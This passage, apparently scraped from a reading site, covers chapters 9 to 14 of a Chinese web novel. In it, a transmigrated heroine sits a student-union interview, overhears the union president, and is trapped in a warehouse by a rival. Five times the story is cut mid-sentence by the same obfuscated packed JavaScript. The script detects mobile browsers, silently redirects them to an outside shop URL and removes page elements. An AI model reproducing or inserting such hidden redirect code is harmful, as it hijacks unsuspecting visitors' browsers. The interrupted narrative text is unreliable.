目光触及这个名字的瞬间，姜夏琳拧紧了眉头，像被什么温热滑腻的东西再次缠上手腕。 她指尖没有丝毫犹豫，干脆利落地右滑，选择了“删除申请”，然后一并退出应用，锁屏。 房间终于陷入黑暗与寂静。 这一晚，姜夏琳睡得并不安稳。 白日的种种像一根根细刺扎在意识的边缘，让她在浅眠中几次惊醒。 直到晨光艰难地穿透厚重的窗帘缝隙，她才终于被疲惫拖入沉沉的睡眠。 再醒来时，早已日上三竿。 脚踝的肿痛较昨日消减了不少。姜夏琳尝试着离开拐杖，虽然行走时仍能感到隐约的刺痛，步伐也比平时缓慢许多，但已勉强能自如活动。 简单地用过午餐，她对着衣帽间的全身镜仔细整理着装。 今天失去参加学生会面试的日子，她为自己挑选了件剪裁得体的米白色连衣裙，衬得人气质温婉又不失大方。 午后天气明媚，姜夏琳乘车来到学校，到达通知里的教学楼时，比约定时间还早了半小时。 刚到楼下，就听到一阵喧哗声从楼内传来。踏上面试教室所在的二楼，眼前的景象更是让她脚步一顿—— 过道里被堵得水泄不通，全是来参加面试的候选人。 看来，苏珏所言不虚，学生会在新生中的火爆程度的确无人能敌。 幸好姜夏琳的面试排序比较靠前，没在人群中等候太久，工作人员便叫到了她的名字，指引她走向一扇紧闭的教室门。 推门进入房间，外面的喧嚣声被骤然隔绝，恍若进入了另一个世界。 一条铺着深色绒布的长桌横亘在教室前方，后面坐着五位身着正装的面试官。 房间中央，则孤零零地摆放着一把木质椅子，在空旷的地板上投下一道瘦长的影子。 姜夏琳目光快速扫过长桌——陆临川并不在面试官之列。注意到这件事，她莫名松了一口气。 坐在长桌中心的是一位气质干练的女生，两鬓的头发整洁地别在耳后，露出小巧的耳垂，上面缀着的一对珍珠耳钉在昏暗中泛着温润的光泽。 听到开门的动静，她抬起头，视线在姜夏琳脸上停留了片刻，复又垂下，指尖有一搭没一搭地轻叩着桌面上的申请表。 众人的目光聚焦在姜夏琳身上。她并无忸怩之意，径直在房间中央的椅子上落座。 没有任何寒暄和预演，面试即刻开始。 “姜夏琳同学，感谢你报名参加学生会。”戴珍珠耳钉的女生看来是这次面试的主面试官，她指尖碾着申请表的一角，公式化地开口，“请你先做一个自我介绍，然后回答一个问题——你个人对学生会工作的理解是什么？” “好。面试官们好，我是来自社会科学文化系的一年级新生姜夏琳，很荣幸获得这个宝贵的面试机会。” “在我看来，学生会的主要工作是协助学校组织活动，维护同学权益，做好沟通的桥梁。”姜夏琳来的路上临阵磨枪，将常见问题的答案全都过了一遍，此刻对答十分流畅，“但具体到不同部门，比如外联需要对接赞助，文艺需要策划晚会，各自的工作内容会根据对接的业务而有所差异。” “业务确实很重要。”女生点点头，继续发问，“那我们来假设一下，如果由你来策划一场反校园霸凌主题的活动，你的思路是？” 猝不及防地，姜夏琳脑中闪过那只小巧的银色U盘。 她放在膝盖上的手指不自觉地蜷缩了一下，立马稳住心神，组织了语言后回答：“可以举办展览或宣讲，从同学中收集真实案例作为支撑，增强说服力。但更重要的是，要创造一个能让受害者敢于发声、感到被支持的环境。或许可以设立匿名的故事投稿渠道，或者与心理社合作，开展小范围的、有安全感的线下支持活动，鼓励受害者说出自己的故事。” 姜夏琳对答流畅，话音落下的那刻，长桌后一个穿着格子衬衫、戴黑框眼镜的男生忽然轻笑一声。 “姜学妹的构想确实很有实践价值。”他推了推眼镜，语调中带着几分刻意营造的亲和，却毫不留情地将话题推到另一个方向，“不过，学生会工作除了能力，态度和人际关系的处理也同样关键。我们听闻，你与陆临川会长有过几次……嗯，颇为引人注目的接触，如果未来工作中需要与他频繁配合，你认为这层关系会影响你的独立判断吗？” 问题迂回曲折，最终精准地绕到了那个名字上。 姜夏琳抬起眼，对上了对方毫不掩饰的、带着玩味笑意的打量目光。 这下，她彻底明白了刚才进门时那些微妙眼神的缘由—— 论坛上那些真伪难辨的帖子，已经变成标签，牢牢地贴在她的身上。 “……我确实与陆会长有过几面之缘，”她唇边挂起那抹公式化的笑容，声音不大，却清晰地传入每个人耳中，“在我非常有限的认知里，所见到的只是一位尽职尽责、以大局为重的学生会会长。如果学长认为这层简单的认识会影响判断，” 她话音微顿，轻轻挑了下眉，竟不自觉地透出几分锐利之意，“那或许意味着，是学长您对陆会长领导下的团队协作能力，以及学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992946|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会内部的公正氛围，缺乏信心。” 话音落下，室内有片刻的寂静。几位面试官交换了一个眼神。 为首的女生放下申请表轻咳一声，打破了这短暂的沉寂：“面试就到此结束，结果会通过W通知。请学妹回去耐心等候吧。” 闻言，姜夏琳朝众人微微颔首，起身走向门口。 她推开门，重新踏入人满为患、吵闹不已的走廊中，这才后知后觉地感到后颈有些微微发僵。 尽管面试过程中她努力表现得镇定，但看面试官们的反应…… 似乎对她已经先入为主的没了好印象。 轻轻叹了口气，她抬起头，目光掠过攒动的人头，一下子瞥见走廊尽头闪过一道熟悉的身影—— 是林薇！ 姜夏琳双眼一亮。林薇学姐帮了她好几次忙，之后见到的机会应该不多了，于情于理也该去打个招呼道声谢。 想到这，她赶忙挤进拥挤的人群，好不容易穿越到走廊尽头，却恰好看见林薇拐了个弯，进了旁边一条僻静的走道。 她不假思索地跟上，拐过转角，眼见林薇在前面不远处停下了脚步。 姜夏琳扬起笑容，正想出声呼唤，下一刻，声音就卡在了喉咙里。 一个她绝不可能认错的身影，出现在林薇的对面。 陆临川。 天光自他身后铺开，将他身体轮廓勾勒得清瘦又挺拔。 他侧脸线条被光线削得利落而冷峻，神情是一贯的、看不出情绪的平静。 两人相对而立，气氛不似偶遇，倒像是约在此处见面。 姜夏琳赶忙将身子缩回墙后，脊背紧贴着粗糙的砖石墙面，凉意透过单薄的衣衫，迅速渗入肌肤。 很快，她听到陆临川的声音：“什么事急着找我？” 林薇的语气则是她惯有的、那种仿佛永远在看好戏的调侃：“听说了吗？你上次英雄救美救下的那位姜学妹，今天来学生会面试了。” “面试组的人还特意关照了一下，问了她和你是什么关系。” “不过嘛，听说人家回答得还挺漂亮，不卑不亢的。”林薇说着，轻笑一声，“怎么样，陆大会长，有没有想过要是她通过了，该把她安排到哪个部门？” 闻言，姜夏琳不自觉地屏住了呼吸。 拐角后是一片漫长的沉默，静得她只能听见自己心跳的闷响。 许久，陆临川的声音才响起。 比平时更低，却依旧清晰，每个字都像冰珠，沉沉地砸进她的耳膜： “不要让她通过。” 10. 第 10 章 “……什么？”林薇的声音在空旷的通道里带起一丝回响，似乎没料到会听到这样的答复。 陆临川修长的手指在走廊的扶手上轻轻敲击了几下，平静地开口：“她不符合学生会的录用标准。” 他停了下，一字一顿清晰道：“转告许如枫，不必让她通过。” 话音刚落，一串脚步声便响了起来，径直朝着姜夏琳所在处逼近。 姜夏琳的呼吸瞬间屏住—— 这条狭长的走道里没有任何遮挡物，只要两人转过弯，她便无所遁形。 逃跑的念头刚升起，口袋里的手机就传来一阵急促的震动，紧接着，系统冰冷的警告在她脑中响起： 【检测到剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 姜夏琳一愣，但仅仅是这片刻的犹豫，拐角处光影便倏然一变。 陆临川的身影冷不丁地出现在眼前，间隔两步，跟着追赶上来的林薇。 看到呆站在通道中央、脸色微微发白的姜夏琳，林薇明显一愣：“……姜学妹，你都听到了？” 陆临川却眼睫都未动一下，目光短暂掠过她的脸，如同扫过一件无关紧要的摆设，随即移开，脚步未停。 “陆会长，林薇学姐。”姜夏琳强迫自己站在原地，声音努力维持着平稳，脸上的微笑却罕见地露出几分苍白。 偷听被发现已经很尴尬，但系统的警告响起—— 她必须接近陆临川，眼下别无选择。 上次那冒失的尝试已经引得对方不悦，这次，不能再有差池。 隐秘的痛感开始从太阳穴开始快速蔓延，像有细针在颅内轻轻搅动，姜夏琳深吸一口气，出声叫住陆临川：“陆会长，请等一下。”她咬了咬唇，鼓起勇气，“关于那件事，我想和你单独谈谈。” 她刻意加重了“单独”二字，同时，目光为难地瞥了眼一旁的林薇。 这句话像一道无形的屏障，终于让陆临川的脚步顿住了。 他眼睫微垂，旋即抬起，目光沉沉地落在姜夏琳脸上，带着毫不掩饰的审视。 见状，林薇眼神复杂地在两人之间快速扫过，扯出一个了然的笑：“行，你们聊，我先走了。” 她识趣地快步离开，脚步声很快淡去。 通道里只剩下姜夏琳和陆临川两人，空气仿佛被抽干，弥漫着令人心慌的寂静。 如姜夏琳所料，赵绍辉事件的确能成为她与陆临川周旋的砝码，那么接下来…… 她向前挪动一小步，拉近和陆临川之间的距离，仰头看向他：“陆会长，关于那份联名请愿书……请问，我是否可以保留一份副本？” 闻言，陆临川的眉头立刻蹙起：“理由？” “因为……”姜夏琳一边缓缓说着，一边咬紧牙关，将身体的重量猛然压向自己受伤的脚踝—— 一阵尖锐的剧痛猝然袭来，她控制不住地发出一声短促的抽气声，身体失衡，猛地向一侧歪倒。 几乎是同时，一只手迅速抓住了她的上臂，力道强劲而克制，瞬间阻止了她下坠的趋势。 在被他指尖触及手臂肌肤的刹那，脑中细密的刺痛如同被什么掐断，一下子消失得无影无踪，只剩下脚踝处的伤口还在火辣辣的痛。 ……真是杀敌一千，自损八百。 姜夏琳借力站直，本有些涣散的目光已恢复清明，但脸色仍因真实的疼痛而变得煞白。 她试图从陆临川的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992947|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌中将手臂抽回，却又是一个趔趄，反而让对方加重了扶着她的力道。 “姜——” 陆临川神色严肃，姜夏琳却不管不顾地打断他，声音里透出几分难以抑制的痛楚：“我昨天……下课的时候，恰好遇到赵绍辉被警察带走……他，他看到我了……” 她的声音越说越小，最后甚至彻底没了声响。 陆临川目光在她脸上停驻了很长一段时间，才问道：“是他伤的你？” “嗯，”姜夏琳点点头，声音很轻，“他朝我冲过来，我躲闪不及，就扭到了。” 话音落下，陆临川的眉宇间蹙起一道明显的折痕。 他视线下落，在她裙摆下方那略显红肿的脚踝上一掠而过。 “……这和请愿书有什么关系？”他问，声音轻了很多。 姜夏琳心知苦肉计起了作用，努力压下脚踝的痛感，让话语更清晰：“赵绍辉虽然被带走了，但赵家树大根深，我担心……那些在请愿书上签名的同学也会收到牵连。” 陆临川沉默了片刻，开口：“这件事，我会处理。” 他语速不快，却带着一种令人安心的决断，“举报是通过绝对保密的方式进行的，我不会让任何人因为这份请愿书受到波及。” “……好，那就拜托会长了。”姜夏琳点点头，神情却仍若有所思。系统的警告已经解决，但……还有一件事。 脚上的痛感缓解了不少，她用手撑着墙壁站直，示意陆临川将自己放开。 “你……”陆临川有几分迟疑。 “没事，我可以。”姜夏琳露出一个微笑，彻底将手臂从他温热的掌心抽出，“我还想请陆会长……把我当成一个普通的新生来对待就好。” 11. 第 11 章 陆临川空了的手在半空中顿了顿，尔后收了回去。 “刚刚你和林薇学姐说的，我都听到了。”姜夏琳垂眸，语气低落，“我……并不希望我们之间的关系，被理解成那样。” 她深吸了一口气，仿佛鼓足了勇气才再次抬眼望向他：“我很早就开始用W了，那时候会长你还是高中生。每次看你发的日常，感觉就像学校里认识的一位朋友。” 她回想着苏珏的说辞，努力让语气听起来真挚：“所以上次在学生会大楼，我做出了不理智的举动，但我保证以后不会再发生类似的事情。我也发誓，我不是那种不惜一切代价想要和你有所接触的狂热粉丝。” 说到这，她在心里对苏珏默念了几声对不起，继续道：“加入未来大学学生会一直是我的梦想，我相信这里是汇聚了理想与能力的地方，是真正能为同学们发声的心脏。” “我希望陆会长，能看在我们曾顺利合作的份上，用平和的目光看待我，给我一个加入的机会。” 她需要这个机会。无论是为了那飘忽不定的契合度，还是为了应付突然的剧情波动，她都必须在学生会——在陆临川身边。 陆临川沉默地看着她。 他的目光很深，像在审视她话语里每一分真伪，又像在……回忆着什么。 许久，他喉结轻微滚动了一下，声音比刚才更低沉了些：“……工作人员会审查你的申请，我不会插手。” 他没有答应，也没有再次拒绝。 “我稍后还有会议。”他移开视线，侧身从她身旁走过，带起一阵微冷的、带着淡淡清冽气息的风。 走出几步之后，他的脚步却再次停住。半侧过身，回头望来。 姜夏琳下意识地转头，对上他的视线。 他的目光快速扫过她受伤的脚踝，简短说道：“注意安全。” ……还不都是因为你。 姜夏琳心中默默吐槽，脸上还是扬起得体的笑，微微颔首：“当然，我会的。谢谢会长。” 如同上次一样，陆临川很快消失在了通道尽头。 姜夏琳扶着冰凉的楼梯扶手，一步一步艰难地往下走。 受伤的脚踝每承受一次重量都传来尖锐的疼痛，等到终于下到一楼时，她额角已经渗出细密的汗珠。 顾不得今天穿的是一条洁白的裙子，她在教学楼前的台阶上坐下。 掏出手机给钟管家发了求助信息，她轻轻揉着红肿的脚踝，目光扫过广场上络绎不绝的前来面试人群。 突然的，她的视线定格在了一个熟悉的身影上—— 季时安。 他身材高挑，穿着一身黑衣，站在阳光下，却仿佛自带一片冷感的阴影，在人群中格外显眼。 而他手里拿着的，是一份印有未来大学学生会徽章的表单。 ……季时安想加入学生会？ 这个念头冒出来的瞬间，姜夏琳几乎以为自己看错了。 无论从哪个角度看，他身上那股散漫的气息，都与学生会严谨、秩序的氛围格格不入。 就像一只习惯于独行的肉食动物，试图混入温顺的羊群，怎么看，都让人觉得……别有目的。 心中暗暗琢磨着，下一瞬，对方就像是感应到了什么一般，突然转头朝她所在的地方看来。 姜夏琳一惊，赶忙低下头，将脸深深埋进膝盖之间。 过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992948|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好一会儿没听到人叫她的名字，她才敢小心翼翼地抬起一点眼睫。 透过发丝的缝隙望去，只见季时安已经收回了视线，正侧过头，与身旁另一个也拿着报名表的男生低声交谈。然后，两人便随着人流，朝教学楼内走去。 季时安并没有发现她。 见状，姜夏琳长长地舒了一口气，紧绷的脊背这才放松下来。 她本想再多观察一下此人面试结束后的动向，可钟管家很快赶了过来，找到了在教学楼前动弹不得的她。 在无数担忧的絮叨中，姜夏琳被小心地扶上了车，并在钟管家的严格勒令下，老老实实卧床休息了几天。 这几天里，论坛上风平浪静，没再起什么波澜，学生会的面试结果也杳无音信。 本想从季时安那打听一下情况，却一连好几天都没能在家里见到他—— 事实上，似乎除了把他接回来的那天，他并没有再回过姜家。 这平静带着股风雨欲来的意味，让姜夏琳悬着的心无法真正落地。 恢复上学的那天早晨，她照常打开了客厅的电视。 新闻主播字正腔圆地播报着国际冲突与金融动态，她一边小口吃着早餐，一边心不在焉地听着。 直到一道清晰冷静的播报声出现，将她的注意力捕获—— “……本台最新消息。据悉，赵氏集团因内部资金流水异常，涉嫌多项违规操作，目前已由相关部门正式介入调查。集团所有高层均被限制离境，配合审查。有分析指出，此次调查或涉及更广泛的商业违规及……” 赵绍辉一家……被立案调查了？ 姜夏琳握着牛奶杯的手，一下子顿住了。 12. 第 12 章 挂着特殊牌照的姜家轿车平稳地滑入未来大学的校门，刚一下车，姜夏琳就捕捉到空气中弥漫着的躁动。 学生们三三两两聚在一起，压低声音讨论着 “看新闻了没？赵氏集团因为经济问题被调查了！” “电视台跟进的真快，我家和赵绍辉家在一个小区，今天天还没亮就有一群警察上门，把赵家所有人都带走了。” “真的假的？？这可是赵家啊，以前出再大的事也没见这样。” “肯定是惹到什么不该惹的人了吧……” 姜夏琳脚步未停，沉默地穿过这些窃窃私语。那些话语像细密的针，一下下扎在她紧绷的神经上。 她来到教室，没有像往常一样先拿出课本，而是迅速掏出了手机。 指尖划过屏幕，解锁，点开校园论坛。 预想中沸反盈天的讨论却并未出现。 论坛首页出奇地安静，甚至可以说，是过于干净了。 飘在最上面的依旧是些无关痛痒的社团招新、课程求助，偶尔夹杂着几个娱乐八卦。 关于赵家的消息被抹得一干二净，仿佛这场突然席卷了未来市上流圈子的风暴从未发生过。 姜夏琳盯着空荡得有些异常的论坛界面，指尖微微发凉。 事实上，自从赵绍辉被警察当众带走后，校园论坛就仿佛被什么人暗中管控，不仅不再出现任何与他有关的新帖，连开学时那些沸沸扬扬讨论后台事件的旧帖，都消失得一干二净。 姜夏琳不清楚校园论坛的控制权在谁手上，可赵绍辉刚被带走调查不久，他背后的家族就以如此摧枯拉朽的速度崩塌……这两者之间，很难不让人产生联想。 ……是对赵绍辉的调查，让警方注意到背后的赵氏集团吗？ 不过让人稍感慰藉的是，赵家主要成员都被控制，意味着那些曾经在匿名请愿书上签名的同学，至少暂时是安全了。 正想着，消息栏里弹出一条消息，打断了她的沉思。 是苏珏发来的： “夏琳，你在吗？” 简洁的文字，看不出涵义。姜夏琳正准备回复，又一个消息框紧接着跳了出来—— 是一个定位共享。 她点开，放大，发现定位指向一栋离主教学楼不远，但在地图上并没有显示具体名称的独立建筑。 紧接着，苏珏的第二条信息来了：“我一个人受伤了，没法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992949|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走路，你可以来帮帮我吗？” 受伤？姜夏琳微微蹙眉。 苏珏……从新生宴会那次起，就总是带着开朗的笑容，无视论坛上各种怪异的言论，主动与她交谈。 在这所人际关系错综复杂的大学里，这份善意尽管浅薄，却也十足珍贵。 姜夏琳抬眸，视线掠过墙壁上静默走动的挂钟——距离正式上课还有将近二十分钟，时间上来得及。 她抿了抿唇，将手机塞进口袋，然后站起身，径直离开了教室。 按照导航的指示，她穿过教学楼后方一条少有人行的石板小径，走了大约五六分钟，定位上的建筑便出现在视野尽头。 那是间看起来年代久远的红砖平房，外墙爬满了干枯的藤蔓，与周围高大的乔木几乎融为一体，如果不仔细看，很容易被忽略。 奇怪的是，房子四面原本应该是窗户的地方，都被锈迹斑斑的铁皮结结实实地封死，完全无法看到房间内的情形。 姜夏琳停在紧闭的、漆皮剥落的木质大门前，提高声音唤了句：“——苏珏？” 等待她的是一片死寂。 四周只有风吹过树叶的沙沙声，以及不知名虫子的低鸣。 13. 第 13 章 姜夏琳走上前去，握住冰凉的门把手，轻轻一拧—— 门没锁。 门扉刚向内微微滑开一条缝，下一瞬，一股巨大的力量就从门内传来，将她整个人狠狠向内拽去！ “——啊！” 姜夏琳惊呼一声，脚下磕绊地跌过门槛，狼狈地摔在地上。 身后紧接着传来“哐当”一声巨响，以及金属锁舌咬合的清脆撞击—— 门被再次关上，并且反锁了。 屋子里一片黑暗，姜夏琳顾不上膝盖传来火辣辣的痛意，撑着地面起身，又踉跄着后退，直到脊背抵住了粗糙的墙壁，才勉强稳住身形。 她轻喘着，明白自己是被困住了。 ……苏珏为什么要给她发来这个定位？ 视野在黢黑中逐渐适应，借着从门缝和被封窗户边缘漏进的几缕微光，姜夏琳努力观察着四周的一切。 这里似乎是一个废弃已久的体育器材仓库，巨大的、蒙着厚厚灰尘的鞍马、跳箱和篮球架基座，像沉睡的史前巨兽，在黑暗中投下幢幢狰狞的虚影。 封闭的室内气息闭塞，每一口呼吸都漂浮着浓重的、陈年的尘埃味，混合着铁锈和某种霉腐的气息，闷得让人胸口发堵。 而在这些杂乱堆积的器材中央，则被人为地清出了一片不大的空地。 空地的尽头，倚着几摞厚重的体操软垫，一道高挑挺拔的身影，正闲散地靠在那里。 那人双臂环胸，姿态松弛，视线穿透昏暗，直直落在姜夏琳身上，仿佛已静候多时。 姜夏琳倚着墙壁，努力聚焦视线。当那张脸在昏暗中逐渐清晰时，她呼吸骤然一滞—— 是江竞。 与医务室里那个脸色苍白、带着几分病气的少年截然不同，此刻的江竞穿着宽松的灰色运动服，侧边的黑色条纹自上而下，利落地勾勒出肩线和平直的背 他只是随意地靠着软垫，像看戏般，耐心地等待被她发现。 定了定神，压下心头的几分惊悸，姜夏琳开口：“……苏珏呢？” 她声线有几分不稳，但在这片寂静中，还是清晰地传了过去。 “你还关心这个？” 江竞维持着倚靠的姿势，嗤笑一声，冷冷吐出几个字，“已经让她滚了。” ……看来，苏珏的求助信息，只是将她引来这里的诱饵。 姜夏琳垂在身侧的手悄然攥紧，尽管对方可能看不清，脸上还是下意识扬起那抹练习过无数次的微笑，问道：“江同学用这种方式请我来，是有什么事吗？” 江竞没有立刻回答。 他直起身，不紧不慢地踱近，运动鞋底踩在积灰的水泥地上，发出轻微的沙沙声。 他在距离姜夏琳几步之外、一堆横陈的鞍马旁停下，开口时，尾音带着毫不掩饰的嘲弄：“要说什么，你心里没数？” 他轻顿，微微歪头，眼神冰冷地刮过她的脸：“赵家出事，是你的手笔吧。” 不是疑问，是陈述。 姜夏琳脑中闪过早上看到的新闻标题，眉头微微蹙起：“我不明白你的意思。” “装？” 江竞嘴角扯出一个没有温度的弧度，又向前逼近一步，“开学典礼后台，你是因为低血糖晕倒，赵绍辉根本没碰到你一根手指。之后你顺水推舟，借题发挥，让对赵绍辉的调查不断扩大，直到把整个赵家拉下水……姜夏琳，如今还要摆出这副一无所知的脸，你演得不累吗？ 他的逻辑链条冰冷而锋利，带着某种偏执的确信，步步紧逼：“你一直是这样，表面装得比谁都体面，骨子里睚眦必报。只是没想到，现在手段狠到这种地步，要连根拔起？” 果然是赵绍辉事件引发了后续……可这一切，和她有什么关系？ 她只是为“姜夏琳”做出了选择，无意背负颠覆一个家族的罪名。 姜夏琳面色未变，迎上他的目光，声音在空旷的仓库里显得清晰而冷静：“你的证据呢？” 据她所知，开学典礼的后台没有监控，而那封有她名字的请愿书则由陆临川直接递交给警方…… 江竞抿紧唇，下颌绷出冷硬的弧度，没有回答。 “没有证据，这一切就只是你的臆测。” 她语气转冷，毫不客气地说道，“即便退一万步，你的推论成立，那也只能说明赵家自身不干净，经不起查。警方的调查，检察院的程序，难道都是儿戏，只为配合我演一场戏？” 她顿了下，目光锐利地刺向他：“倒是你，用这种手段把我骗来，是想为赵绍辉抱不平，还是因为……你们江家和赵家的利益，绑得太紧？” 最后几个字，她说得很轻，却像针一样扎过去。 江竞眼神骤然沉下，戾气在眼底翻涌了一瞬。 他盯着她，片刻后忽然低低笑了下，带着讥诮的意味。 “姜夏琳，你到现在还以为，这只是赵绍辉，或者赵家的事？” 仓库顶棚漏下的微光在他侧脸切割出交错的光影，他身处暗处，眼神却亮得灼人。 “陆家和赵家什么关系，你清楚吗？”他声音压得很低，却字字清晰，“早就是死对头了。陆临川他爸盯着赵家的地盘不是一天两天，缺的只是个由头。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992950|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他顿了顿，目光像刀片一样刮过她的脸：“也就是你，才会被人当了出头鸟，还觉得自己在替天行道。” 姜夏琳呼吸微微一滞，突然想起那天陆临川在休息室里把请愿书递过来时，分外平静的表情。 “话说，陆临川给了你什么好处？”江竞继续发问，“钱？还是承诺？还是说……” “什么都没给，光靠那张脸和几句漂亮话，就把你哄得团团转？” 他往前倾身，高大的影子投在地上，完全笼罩住她：“他一贯这样。勾勾手指，就有一堆人前仆后继替他卖命。你猜，等赵家彻底倒了，你这只没用的出头鸟……他会怎么处理？” 尖利的话语涌入耳中，姜夏琳抿唇不语，只是垂在身侧的手下意识攥紧了。 ……难道真如江竞所说，她从始至终都只是别人棋盘上的一枚棋子？ 这个念头刚冒出来，就被她狠狠压了回去。 不，现在不是深究这个的时候。 就算陆临川真的别有用心，就算她真的在无意中成了别人博弈的棋子，那也是逃出这里之后才需要面对的问题。 眼下最要紧的，是从江竞手里脱身。 姜夏琳喉咙发紧，用力咽下瞬间翻涌的寒意。 她强迫自己将注意力从混乱的思绪中拔出，余光再次飞快地扫过右侧—— 从刚进入屋子时她就注意到，那有一扇窗户，本该被铁皮完全封死的的边缘隐约透出的微光，是她此刻唯一的希望。 距离大约七八米，中间隔着堆积的器材和厚厚的灰尘。冲过去需要时间，而江竞不会给她这个时间。 她需要制造一个空隙。 姜夏琳闭了闭眼，再睁开时，所有翻涌的情绪被强行压下，脸上重新挂起那副完美无瑕的微笑面具。 “江竞，”她开口，声音恢复了平稳，甚至带上了一丝清晰可辨的挑衅，“你这么生气，到底是因为赵家被调查，动了你们江家的蛋糕……” 她故意停顿，目光迎上他阴沉得快要滴水的眼睛。 “……还是因为，你发现，即便你大费周章地试图做些什么，所有人都还是选择站在陆临川那边，而不是你？” 江竞的瞳孔骤然收缩。 他脸上那副游刃有余的嘲弄瞬间冻结，眉头锁紧，眼底翻涌起被彻底激怒的阴鸷。 他似乎想说什么，嘴唇刚动—— 【检测到关键剧情波动！契合度评价敏锐度提升，请宿主严格遵守人设！】 系统毫无感情的电子提示音，如同丧钟一般在姜夏琳脑中敲响，震得她耳膜嗡鸣。 14. 第 14 章 下一刻，那股熟悉的、尖锐的痛感再次从太阳穴炸开，并迅速向四周蔓延，如同无数冰针在颅骨内游走。 姜夏琳闷哼一声，膝盖一软，不受控制地向前栽倒。 “咚！” 身体重重磕在冰冷粗糙的水泥地上，本就带伤的膝盖传来一阵钝痛，但与脑中风暴般肆虐的痛感相比，简直微不足道。 她无意识地咬住了自己的下唇，贝齿陷进柔软的唇肉里，立刻尝到了一股淡淡的、带着铁锈味的咸腥。 身体微微蜷缩收紧，试图抵御那迅速扩散的痛楚，像一只受伤后本能寻求庇护的小兽。 几步之外，江竞要说的话戛然而止。 他站在原地，冷眼旁观了片刻，见她只是蜷缩着微微发抖，并未像方才那般立刻伶牙俐齿地反击，眉梢才几不可察地动了一下。 他开口，声音里带着毫不掩饰的讥诮与怀疑：“……这次又打算演什么？苦肉计？” 痛感随着时间流逝不断加剧，视野边缘开始闪烁扭曲的白光。 姜夏琳想反驳，想用更尖锐的话刺回去，但思绪如同断裂的珠串，无法连贯。 破碎的念头在脑中冲撞，最终只凝聚成一个清晰的意图——触碰他。 她必须触碰到他。 “……你过来……”她艰难地喘息着，从颤抖的牙关里挤出气若游丝的声音，“我都……告诉你……” “……什么？” 江竞尾音上扬，仿佛听到了什么荒谬的笑话。 姜夏琳勉力抬起眼帘，那双总是清亮灵动的杏眼此刻蒙着一层生理性的水光，在昏暗光线下显得脆弱而易碎。 她望着他，声音轻得几乎飘散在空气里：“……江竞……靠我近一点……” 这两个字被她用这样虚弱的气声念出，平添了一丝难以言喻的、微妙的粘连感。 江竞的眉头迅速蹙紧。 他没有动，目光却像冰冷的探针，细细扫过她蜷缩颤抖的手指、苍白失血的脸颊，最后定格在那双氤氲着水汽、正一眨不眨望着他的眼睛上。 姜夏琳并不躲闪。 以她平日的演技，她没有信心骗过江竞。 但借着惩罚带来的痛感，她作势将身子缩得更紧，口中忍不住地逸出像是呻吟，又像是哭泣的颤音，像是痛苦至极。 半真半假的东西，总是最让人受骗。 时间在空旷的仓库里被拉长，只有她压抑的声息在回荡。 足足过了几十秒，江竞脸上那始终冰冷的神情，才终于出现一丝裂痕。 他盯着她，如同靠近一头可能随时暴起伤人的困兽，缓慢地、带着十足警惕地，一步步走了过来。 高大的身影逐渐逼近，阴影将躺在地面上的姜夏琳完全笼罩。 她在逐渐涣散的视野中捕捉到他的轮廓，气若游丝地催促：“再……近点……我没力气了……” 江竞的唇线抿成一条僵直的线。 他停在她几乎触手可及的距离，目光复杂地在她脸上逡巡，仿佛在进行一场激烈的内心博弈。 